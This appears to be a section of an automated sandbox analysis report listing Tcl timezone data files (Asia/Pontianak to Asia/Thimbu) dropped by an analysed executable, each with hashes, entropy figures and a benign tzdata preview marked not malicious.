Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Asia/Bangkok)]} {. LoadTimeZoneFile Asia/Bangkok.}.set TZData(:Asia/Phnom_Penh) $TZData(:Asia/Bangkok).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Pontianak

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	350
Entropy (8bit):	4.513241903916297
Encrypted:	false
SSDEEP:	6:SlSWB9X52wKT5wFJm2OHUed9xMkc5k/wGiNCLkvmJdwGiD1HiDF4mwGiLTF/xDHW:MBp52L5wFJmdHFxbc5kwGiwLkIwGiDhY
MD5:	EAC8AF8BEE6ECE49C4A5C97C283AF021
SHA1:	B013A5F4350E41C2C7DBA20C5C521B696048DF55
SHA-256:	221FA8C4DC94963B8ED54196FD02E41CF0B8A1F3405A38C3370EA3AE3C528630
SHA-512:	317A527D4B779FC0DBC82B4808CFD58DC1CA648EE676452C73D927489F34C69B2EB9FA990C70137B94775D7E6087D3B4039D3E5042A7AB7AED18E165740DB515
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Pontianak) {. {-9223372036854775808 26240 0 LMT}. {-1946186240 26240 0 PMT}. {-1172906240 27000 0 WIB}. {-881220600 32400 0 JST}. {-766054800 27000 0 WIB}. {-683883000 28800 0 WIB}. {-620812800 27000 0 WIB}. {-189415800 28800 0 WITA}. {567964800 25200 0 WIB}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Pyongyang

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	265
Entropy (8bit):	4.665742498172264
Encrypted:	false
SSDEEP:	6:SlSWB9X52wK8cE4Lm2OHnNdRw8v3+zvm1T0vGLp:MBp520cEWmdHnNLv/+zjY
MD5:	03F7E1DBA4E82E33605FECE76F0AE4A8
SHA1:	994E352846828B785AA1757EA311DB9D29E64FA5
SHA-256:	0DDF9DA71DC835702BAD6D3F894C680D925BDD133B43FC6277D4A4F73CB163C3
SHA-512:	FA377EBE94518FED279635F2B6DA211BF385F186086493EFB9FCE18E5371AAD0D62D957BE0C220546977A64462D60EEE718F6AA637D9D36152127479F2CDF2DE
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Pyongyang) {. {-9223372036854775808 30180 0 LMT}. {-1948782180 30600 0 KST}. {-1830414600 32400 0 JCST}. {-1017824400 32400 0 JST}. {-768646800 32400 0 KST}. {1439564400 30600 0 KST}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Qatar

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	169
Entropy (8bit):	4.8601645539109075
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFx52WFKK3vFSXGm2OHPFV4YvUQKb3VvVVGF5FRVGwvYv:SlSWB9X52wKK3vTm2OHoYRcvzGfFRVS
MD5:	9462D89F06D17A43817EA860AF040C21
SHA1:	EBAFBD932708A7A7228364BDBFCD864AB4BE9022
SHA-256:	6E1A5814923D6C241E19B14BE409EBD3B6E2A21000B55A76F3E8B185C081F847
SHA-512:	2D5617D7113B349F29AF3EBA4B4321CC0A17B1FBF673E7D23FF7482F3F16235E5070281AD73CF5C74DC019DD39F8DD40D1A4D4DDCC08F8C2B6F6D772F4A85501
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Qatar) {. {-9223372036854775808 12368 0 LMT}. {-1577935568 14400 0 GST}. {76190400 10800 0 AST}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Qyzylorda

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1688
Entropy (8bit):	4.021869489592274
Encrypted:	false
SSDEEP:	24:cQweNE9FYaSkXkh8K7hYeO8rmXqI8p/9fIwgdl3xWhf89KukUCN9AC9sdulCddlR:56P0h8UhYqkqI+F7YVYfB8ptOe
MD5:	DF2E642EB0CFE12904C72A4D25663912
SHA1:	69F30DC39AF84B15968CE1EDC14ACCAC3A53C89B
SHA-256:	3B9567139E18C3E7BABA078B8EDB942D1E9E388C7EE44F159D569A713DC7555C
SHA-512:	C31EA6977FF25B8463C8B7D14A1B176C1311E522556A3F8F3C0C54D617CC929927009A870FECF75F52413EDF1E06A12FDFE0A66A9B1974975BB90350ED36C80F
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Qyzylorda) {. {-9223372036854775808 15712 0 LMT}. {-1441167712 14400 0 KIZT}. {-1247544000 18000 0 KIZT}. {354913200 21600 1 KIZST}. {370720800 21600 0 KIZT}. {386445600 18000 0 KIZT}. {386449200 21600 1 KIZST}. {402256800 18000 0 KIZT}. {417985200 21600 1 KIZST}. {433792800 18000 0 KIZT}. {449607600 21600 1 KIZST}. {465339600 18000 0 KIZT}. {481064400 21600 1 KIZST}. {496789200 18000 0 KIZT}. {512514000 21600 1 KIZST}. {528238800 18000 0 KIZT}. {543963600 21600 1 KIZST}. {559688400 18000 0 KIZT}. {575413200 21600 1 KIZST}. {591138000 18000 0 KIZT}. {606862800 21600 1 KIZST}. {622587600 18000 0 KIZT}. {638312400 21600 1 KIZST}. {654642000 18000 0 KIZT}. {662670000 18000 0 KIZT}. {692823600 18000 0 QYZT}. {695768400 21600 0 QYZT}. {701802000 25200 1 QYZST}. {717523200 21600 0 QYZT}. {733262400 25200 1 QYZST}. {748987200 21600 0 QYZT}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Rangoon

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	233
Entropy (8bit):	4.700824643200826
Encrypted:	false
SSDEEP:	6:SlSWB9X52wK0GEEm2OHGVXdPZNGVyKFMsDVkvm8Y/s59Ln:MBp52nEEmdHGldPZNGYANkhpn
MD5:	21A8C8B771F9644AB3EAED8CA4512408
SHA1:	27D65D7A9E9403103CADA0C0D507708DD98DFC39
SHA-256:	6CFCB7D781F87E1B7ED88FD2DAD6C80DA921CD55B50A1AC650FD2F787201FE2A
SHA-512:	5292EF66277CCE29F10FB55B054A90FB6B4680D387CB4834FF5BF2F182052B5C3F6A8621A1BCEC4671851EFE8B40B8EFC31CC12F5F45DB380F68BD906F26FEB6
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Rangoon) {. {-9223372036854775808 23080 0 LMT}. {-2840163880 23080 0 RMT}. {-1577946280 23400 0 BURT}. {-873268200 32400 0 JST}. {-778410000 23400 0 MMT}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Riyadh

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	142
Entropy (8bit):	4.950902028483272
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFx52WFK814tXGm2OHFukevSUi9VswvYv:SlSWB9X52wK81Hm2OHF7ePi9Vs
MD5:	A39D6CB65845A20773E0FDBF12646CB6
SHA1:	59CE58D2C131634EA91B6711D7DF5011AAC1D717
SHA-256:	CD11B8FC28AEB740FBB2AEA75951E8CFFC046ACDEE13AE6F4761808174C2F24C
SHA-512:	ECC47F7EAFDFA8B1580F38DE5ECDBF8DF93BD5F8D2E63B983758F4548155B93CFEF49B8C727DFF3E526CD548564CB93ABC4266210296B3F17491847F9DBABCB9
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Riyadh) {. {-9223372036854775808 11212 0 LMT}. {-719636812 10800 0 AST}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Saigon

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	183
Entropy (8bit):	4.899371908380106
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyq8I65eVyVAIgN2h659Q2WFKwJ6h4WFK365ev:SlSWB9IZaM3yJAVyVAIgA4s2wKl4wKKK
MD5:	A978C9AD6320DA94CB15324CA82C7417
SHA1:	585C232F3FB2693C78C7831C1AF1DC25D6824CA7
SHA-256:	73E1850BB0827043024EAFA1934190413CB36EA6FE18C90EA86B9DBC1D61EEBF
SHA-512:	AE48BFB2A348CA992F2BCD6B1AF7495713B0526C326678309133D3271D90600624C096B4B8678AD7ECD19822E3BB24E27D12680FCA7FAA455D3CE324CE0B88ED
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Asia/Ho_Chi_Minh)]} {. LoadTimeZoneFile Asia/Ho_Chi_Minh.}.set TZData(:Asia/Saigon) $TZData(:Asia/Ho_Chi_Minh).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Sakhalin

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2154
Entropy (8bit):	3.9200886100513186
Encrypted:	false
SSDEEP:	48:5i1mvzfkLCHT2voaWlOvUhxJWHflhQXAY3:gyHT2vRvwAHdSQY3
MD5:	72B74A9380524E321FBECDDC57206D09
SHA1:	80C6D4FF833A1FA58FD3D5EA08558FA557DB0D87
SHA-256:	8B6875BC4A4D7BC318229D522C2A9CA41F64993A05AADC1E0CC3111430F25934
SHA-512:	BD961D582D3C92B2C99BE6D232B57EDC2594A7CEED317F71A706BC6FBF835DD476FB0343C58013665738AC4527A4C7E1DEFF2A47CF082059041F2456F69FD148
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Sakhalin) {. {-9223372036854775808 34248 0 LMT}. {-2031039048 32400 0 JCST}. {-1017824400 32400 0 JST}. {-768560400 39600 0 SAKMMTT}. {354891600 43200 1 SAKST}. {370699200 39600 0 SAKT}. {386427600 43200 1 SAKST}. {402235200 39600 0 SAKT}. {417963600 43200 1 SAKST}. {433771200 39600 0 SAKT}. {449586000 43200 1 SAKST}. {465318000 39600 0 SAKT}. {481042800 43200 1 SAKST}. {496767600 39600 0 SAKT}. {512492400 43200 1 SAKST}. {528217200 39600 0 SAKT}. {543942000 43200 1 SAKST}. {559666800 39600 0 SAKT}. {575391600 43200 1 SAKST}. {591116400 39600 0 SAKT}. {606841200 43200 1 SAKST}. {622566000 39600 0 SAKT}. {638290800 43200 1 SAKST}. {654620400 39600 0 SAKT}. {670345200 36000 0 SAKMMTT}. {670348800 39600 1 SAKST}. {686073600 36000 0 SAKT}. {695750400 39600 0 SAKMMTT}. {701784000 43200 1 SAKST}. {717505200 39600 0 SAKT}. {733244400 43200

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Samarkand

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.0996909489016335
Encrypted:	false
SSDEEP:	12:MBp52tlmdH897SogKk4khWuf7Z/UOfmWnmjDIdhWdMr2jmjdODPRWZsdXT4Wuwyc:cQtleA7ETh7tmdPIiOdzeJTUPc
MD5:	86864CDFD578B3CD01DFCBCF3263BB3B
SHA1:	8A009E64EDDBAC2F675ABACBAB742AAF414A7E7E
SHA-256:	AF87E9597C2AA014C996F88AA95A87D71594436D13D3F4246B8B1AA3AA0E8E66
SHA-512:	537EB0B970E42A3EB31CF3779E637698761FE598FE64BFE76827C1157E9E1421BA316299FA27F5F0ADB26645DA2587D4E7B5781CDDE5695CED5146AB3AAB74D5
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Samarkand) {. {-9223372036854775808 16073 0 LMT}. {-1441168073 14400 0 SAMT}. {-1247544000 18000 0 SAMT}. {354913200 21600 1 SAMST}. {370720800 21600 0 TAST}. {386445600 18000 0 SAMT}. {386449200 21600 1 SAMST}. {402256800 18000 0 SAMT}. {417985200 21600 1 SAMST}. {433792800 18000 0 SAMT}. {449607600 21600 1 SAMST}. {465339600 18000 0 SAMT}. {481064400 21600 1 SAMST}. {496789200 18000 0 SAMT}. {512514000 21600 1 SAMST}. {528238800 18000 0 SAMT}. {543963600 21600 1 SAMST}. {559688400 18000 0 SAMT}. {575413200 21600 1 SAMST}. {591138000 18000 0 SAMT}. {606862800 21600 1 SAMST}. {622587600 18000 0 SAMT}. {638312400 21600 1 SAMST}. {654642000 18000 0 SAMT}. {670366800 21600 1 SAMST}. {683665200 21600 0 UZST}. {686091600 18000 0 UZT}. {694206000 18000 0 UZT}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Seoul

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	750
Entropy (8bit):	4.127244109010669
Encrypted:	false
SSDEEP:	12:MBp525mdHjauv/+zWz4aqceOcrIt04CaI8/HUYVfXzQD:cQ5edvCWzJnJGIt047I8/Hp/zQD
MD5:	0DE471C9ED2CE585A03A15460D146459
SHA1:	02C75252A112CFDCC6DDCFA30C0E68AA07ACE46D
SHA-256:	290862830F3B606F6A4FBD50D07FE5204FC105BF97672DC84B58650C57B45117
SHA-512:	A10C50863B9C292A6E4181A477FE01B9ED6E9A103ECE45DEEEDDDEEA4ABBC59F6DE21319232EEAB677A3A1396BA9382D92F2D184B262C132EEB81D6DEC49D205
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Seoul) {. {-9223372036854775808 30472 0 LMT}. {-1948782472 30600 0 KST}. {-1830414600 32400 0 JCST}. {-1017824400 32400 0 JST}. {-767350800 32400 0 KST}. {-498128400 30600 0 KST}. {-462702600 34200 1 KDT}. {-451733400 30600 0 KST}. {-429784200 34200 1 KDT}. {-418296600 30600 0 KST}. {-399544200 34200 1 KDT}. {-387451800 30600 0 KST}. {-368094600 34200 1 KDT}. {-356002200 30600 0 KST}. {-336645000 34200 1 KDT}. {-324552600 30600 0 KST}. {-305195400 34200 1 KDT}. {-293103000 30600 0 KST}. {-264933000 32400 0 KST}. {547578000 36000 1 KDT}. {560883600 32400 0 KST}. {579027600 36000 1 KDT}. {592333200 32400 0 KST}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Shanghai

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	626
Entropy (8bit):	4.194042778471814
Encrypted:	false
SSDEEP:	12:MBp52vEmdHePvZMW5zq/XVucq/GrNkq/HxJ2Qzq/hSaq/5Mq/xssjq/Xwq/4N:cQ8emvZM+q/Xbq/Ckq/Hx4Qzq/hLq/Cc
MD5:	4A1A94E2FA26768980684CF1889D5A0E
SHA1:	D256BCB1A705B70C948EC4E3AC9802B488181CCC
SHA-256:	EA212F8C97687138142FD1AA96E32EBF038689003A61525FEAD7653144152370
SHA-512:	5B949DF00702D2B5B214AB4FF8BEB827D6BF92C5F5C407D746FB4C717C707206EE3126986C16317687414D4771CEC3AF891EC24697077D328AEED1AD3D0E7758
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Shanghai) {. {-9223372036854775808 29143 0 LMT}. {-2177481943 28800 0 CST}. {-933494400 32400 1 CDT}. {-923130000 28800 0 CST}. {-908784000 32400 1 CDT}. {-891594000 28800 0 CST}. {-662716800 28800 0 CST}. {515520000 32400 1 CDT}. {527007600 28800 0 CST}. {545155200 32400 1 CDT}. {558457200 28800 0 CST}. {576604800 32400 1 CDT}. {589906800 28800 0 CST}. {608659200 32400 1 CDT}. {621961200 28800 0 CST}. {640108800 32400 1 CDT}. {653410800 28800 0 CST}. {671558400 32400 1 CDT}. {684860400 28800 0 CST}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Singapore

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	386
Entropy (8bit):	4.499763562586137
Encrypted:	false
SSDEEP:	6:SlSWB9X52wKfbdJm2OHxdPmIWOb/qgOMesF3His0dqgs8kvmQCIqgMQiI/0SGibL:MBp52nbdJmdHDPxDTNF+8tuQ90SrL
MD5:	72F394A6DB71E5E22742EFE4B2A3FE30
SHA1:	2BEAAE84CA2F2725C1A37139C312E56285339561
SHA-256:	B26FC478C496F512E21A6B81CDBFDB437E60F042AE49FFB701647DA2432B5DAA
SHA-512:	27D62AC711656D3D1E6BDDB428C764ECCFF7C6CF5D284096A931EDFE9EF5590D6832F669B0FEB9582FF413E77A0B6385227781A4C2BFC089986A29168FD313FD
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Singapore) {. {-9223372036854775808 24925 0 LMT}. {-2177477725 24925 0 SMT}. {-2038200925 25200 0 MALT}. {-1167634800 26400 1 MALST}. {-1073028000 26400 0 MALT}. {-894180000 27000 0 MALT}. {-879665400 32400 0 JST}. {-767005200 27000 0 MALT}. {-138785400 27000 0 SGT}. {378664200 28800 0 SGT}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Srednekolymsk

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2098
Entropy (8bit):	3.989946517460551
Encrypted:	false
SSDEEP:	24:cQHOedI8vhOCTi7ZXltAtwGpd296ymXPO9UHxQdCHt/CXHmW9YbcINu4:5HVvhBiR8ld296yKPO9UHj1UGWgc4u4
MD5:	9F280881FA89EA08AED21770A8F02EF2
SHA1:	AFAB497095566E420408FF772D635D11F1BB7A6D
SHA-256:	8F774190DFCEA547C394E452388002DC3130918F4BE82D607A5ED2E05EFAE4CD
SHA-512:	CA96A79FA8532A0487A1A1A161E539A3D06A77BE6D5B28396EB4AAC3C60A9212B4919B5EB5B6EA156A06437C742CD2E1BC675176B6B7FCEABABD9299C823A69C
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Srednekolymsk) {. {-9223372036854775808 36892 0 LMT}. {-1441188892 36000 0 MAGT}. {-1247565600 39600 0 MAGMMTT}. {354891600 43200 1 MAGST}. {370699200 39600 0 MAGT}. {386427600 43200 1 MAGST}. {402235200 39600 0 MAGT}. {417963600 43200 1 MAGST}. {433771200 39600 0 MAGT}. {449586000 43200 1 MAGST}. {465318000 39600 0 MAGT}. {481042800 43200 1 MAGST}. {496767600 39600 0 MAGT}. {512492400 43200 1 MAGST}. {528217200 39600 0 MAGT}. {543942000 43200 1 MAGST}. {559666800 39600 0 MAGT}. {575391600 43200 1 MAGST}. {591116400 39600 0 MAGT}. {606841200 43200 1 MAGST}. {622566000 39600 0 MAGT}. {638290800 43200 1 MAGST}. {654620400 39600 0 MAGT}. {670345200 36000 0 MAGMMTT}. {670348800 39600 1 MAGST}. {686073600 36000 0 MAGT}. {695750400 39600 0 MAGMMTT}. {701784000 43200 1 MAGST}. {717505200 39600 0 MAGT}. {733244400 43200 1 MAGST}. {748969200

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Taipei

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1299
Entropy (8bit):	3.9929422802732284
Encrypted:	false
SSDEEP:	24:cQXbe9ZKzuzq/9mBq/Qq/LPq/wO3q/uq/PC9q/hq/Rq/Gq/fq/Aq/Vtyq/fQH+zp:5XwMKG/M4/z/W/Ta/1/V/Y/o/d/y/D/t
MD5:	1CC71F0D50FB0A316B0501512B5ACDC7
SHA1:	276DE73F04C609815C20DEDAD54211F2DC4030FA
SHA-256:	8EB584365A8CEF00BCDBBBB9CAAF34822C193DBC0DB43D1F142C72B64FA51F0C
SHA-512:	0DC9E1E73B4F31C059DD254DB5B84E0C93366A701AF033664F7EFD9192EE2CFF80C2AA6C80C950262295B179283D58AD6CC2D833CA05E2053C97D8CF448757B3
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Taipei) {. {-9223372036854775808 29160 0 LMT}. {-2335248360 28800 0 JWST}. {-1017820800 32400 0 JST}. {-766224000 28800 0 CST}. {-745833600 32400 1 CDT}. {-733827600 28800 0 CST}. {-716889600 32400 1 CDT}. {-699613200 28800 0 CST}. {-683884800 32400 1 CDT}. {-670669200 28800 0 CST}. {-652348800 32400 1 CDT}. {-639133200 28800 0 CST}. {-620812800 32400 1 CDT}. {-607597200 28800 0 CST}. {-589276800 32400 1 CDT}. {-576061200 28800 0 CST}. {-562924800 32400 1 CDT}. {-541760400 28800 0 CST}. {-528710400 32400 1 CDT}. {-510224400 28800 0 CST}. {-497174400 32400 1 CDT}. {-478688400 28800 0 CST}. {-465638400 32400 1 CDT}. {-449830800 28800 0 CST}. {-434016000 32400 1 CDT}. {-418208400 28800 0 CST}. {-402480000 32400 1 CDT}. {-386672400 28800 0 CST}. {-370944000 32400 1 CDT}. {-355136400 28800 0 CST}. {-339408000 32400 1 CDT}. {-323600400

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Tashkent

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.052777429242368
Encrypted:	false
SSDEEP:	24:cQZeQlNlDfHFCZaqAHDggMBj945uZYQT2TXTxPc:5HtPqxNpybVPc
MD5:	95BED1C2734ED186682711BCF8EEC906
SHA1:	C214A57C49C7B1A52F4115D7E0546222E9834CC9
SHA-256:	B4AE1956008514F28918E41C6DE49EB2E36A636E0BC76F72AF58B96920718825
SHA-512:	2A83B75BA490BD88102A8E6B198CE29CE7FB9881648E8F0EC0228FA562A8C954A10850DC2B7AFA4108AB19284690614B0241410C400C3AC6595C222AF7A36117
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Tashkent) {. {-9223372036854775808 16631 0 LMT}. {-1441168631 18000 0 TAST}. {-1247547600 21600 0 TAST}. {354909600 25200 1 TASST}. {370717200 21600 0 TAST}. {386445600 25200 1 TASST}. {402253200 21600 0 TAST}. {417981600 25200 1 TASST}. {433789200 21600 0 TAST}. {449604000 25200 1 TASST}. {465336000 21600 0 TAST}. {481060800 25200 1 TASST}. {496785600 21600 0 TAST}. {512510400 25200 1 TASST}. {528235200 21600 0 TAST}. {543960000 25200 1 TASST}. {559684800 21600 0 TAST}. {575409600 25200 1 TASST}. {591134400 21600 0 TAST}. {606859200 25200 1 TASST}. {622584000 21600 0 TAST}. {638308800 25200 1 TASST}. {654638400 21600 0 TAST}. {670363200 18000 0 TAST}. {670366800 21600 1 TASST}. {683665200 21600 0 UZST}. {686091600 18000 0 UZT}. {694206000 18000 0 UZT}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Tbilisi

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	3.8990179334130297
Encrypted:	false
SSDEEP:	24:cQyGeHLxaCkbPcXsXZUzJJu8ZmFebPR4c9alNkA/tbd8ttF6E39Uf1IUMc9UFvUU:5+2Tt5imFTN9VsZ7QZsKen
MD5:	78BCAE5025D10EF394F53CDFED0A3C7D
SHA1:	C99AE196C2FAD28F1B23D7F3B911BB5DE5A1C329
SHA-256:	D053A89FD9FA79A6B6427A3306753BF14DB4E0B1FCE333BC1F15B9474D5CA9CE
SHA-512:	9D2DD7E006C1E6D651E2EAACF5E498A53E2A72BEBD9A299A1925FD155A8C2DB1A95804B27E0988ABC77E6869DA405649CB3D7D3EEBC44E25C2C23D7C07E11D85
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Tbilisi) {. {-9223372036854775808 10751 0 LMT}. {-2840151551 10751 0 TBMT}. {-1441162751 10800 0 TBIT}. {-405140400 14400 0 TBIT}. {354916800 18000 1 TBIST}. {370724400 14400 0 TBIT}. {386452800 18000 1 TBIST}. {402260400 14400 0 TBIT}. {417988800 18000 1 TBIST}. {433796400 14400 0 TBIT}. {449611200 18000 1 TBIST}. {465343200 14400 0 TBIT}. {481068000 18000 1 TBIST}. {496792800 14400 0 TBIT}. {512517600 18000 1 TBIST}. {528242400 14400 0 TBIT}. {543967200 18000 1 TBIST}. {559692000 14400 0 TBIT}. {575416800 18000 1 TBIST}. {591141600 14400 0 TBIT}. {606866400 18000 1 TBIST}. {622591200 14400 0 TBIT}. {638316000 18000 1 TBIST}. {654645600 14400 0 TBIT}. {670370400 14400 1 TBIST}. {671140800 14400 0 GEST}. {686098800 10800 0 GET}. {694213200 10800 0 GET}. {701816400 14400 1 GEST}. {717537600 10800 0 GET}. {733266000 14400 1 GEST}. {

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Tehran

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3084
Entropy (8bit):	3.8446147411925486
Encrypted:	false
SSDEEP:	96:+oDm0LvKjM7z5/PwPHoHsWLYR7BsE8dySscPWQNgqRf9RP2x8O2J024ptlxP/XF5:+oC0LvKjcz5/POHCsWL87BsE8dyjcPWf
MD5:	DAA3AB1A5C0FAF5DED242E1DC4E5E5B7
SHA1:	07EAC7A67E0B7B2B6F69063BB8F82C2392A6E306
SHA-256:	5E138AAE70A3E9E8FBB3B6CC5425984D90D4A1C630CF9A889771E02DC6DFB265
SHA-512:	8902EE1F8A2C9A71B255B61C14D4BDE06E230B8E489560725F4DDE9739F0581FFA0057783944C511A16FC92F905F32242530E983AFD232A6052073ADD40B8753
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Tehran) {. {-9223372036854775808 12344 0 LMT}. {-1704165944 12344 0 TMT}. {-757394744 12600 0 IRST}. {247177800 14400 0 IRST}. {259272000 18000 1 IRDT}. {277758000 14400 0 IRST}. {283982400 12600 0 IRST}. {290809800 16200 1 IRDT}. {306531000 12600 0 IRST}. {322432200 16200 1 IRDT}. {338499000 12600 0 IRST}. {673216200 16200 1 IRDT}. {685481400 12600 0 IRST}. {701209800 16200 1 IRDT}. {717103800 12600 0 IRST}. {732745800 16200 1 IRDT}. {748639800 12600 0 IRST}. {764281800 16200 1 IRDT}. {780175800 12600 0 IRST}. {795817800 16200 1 IRDT}. {811711800 12600 0 IRST}. {827353800 16200 1 IRDT}. {843247800 12600 0 IRST}. {858976200 16200 1 IRDT}. {874870200 12600 0 IRST}. {890512200 16200 1 IRDT}. {906406200 12600 0 IRST}. {922048200 16200 1 IRDT}. {937942200 12600 0 IRST}. {953584200 16200 1 IRDT}. {969478200 12600 0 IRST}. {985206600 16

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Tel_Aviv

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	179
Entropy (8bit):	4.82789113675599
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyq85zFFwVAIgN0AzFzt2WFK+TT52WFKYzFp:SlSWB9IZaM3yZbwVAIgCAb2wKsswKY7
MD5:	D044282CC9B9F531D8136612B4AA938D
SHA1:	5FD01E48BFFC2B54BBA48926EFD2137A91B57E0F
SHA-256:	FE57D86184A7F4A64F3555DE3F4463531A86BB18F124534F17B09FAB825F83B4
SHA-512:	DBBA54D68F33E51D51E816D79D83B61490BD31262DFF6037C0834BADA48CBC02F4281203D7212EDF6D96F7FF1EF3843299698BF0DFE10B5F1383AA504594505A
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Asia/Jerusalem)]} {. LoadTimeZoneFile Asia/Jerusalem.}.set TZData(:Asia/Tel_Aviv) $TZData(:Asia/Jerusalem).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Thimbu

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	171
Entropy (8bit):	4.858169634371472
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyq8kNZ4pVAIgNqFNzO62WFK9Z752WFKvNZvn:SlSWB9IZaM3ykZ4pVAIgc3K62wKf12wc
MD5:	B678D97B4E6E6112299746833C06C70B
SHA1:	A49BD45DB59BDD3B7BF9159699272389E8EF77AC
SHA-256:	6AEAE87CAD7FE358A5A1BABE6C0244A3F89403FC64C5AA19E1FFDEDCEB6CF57B
SHA-512:	BEA10EAE5941E027D8FE9E5D5C03FAE5DCFEF7603088E71CA7CCD0461851E175AE1CC7592DFBEC63F91D840E4E0AA04B54549EB71303666E6EA16AFFF6EDA058
Malicious:	false
Reputation:	unknown
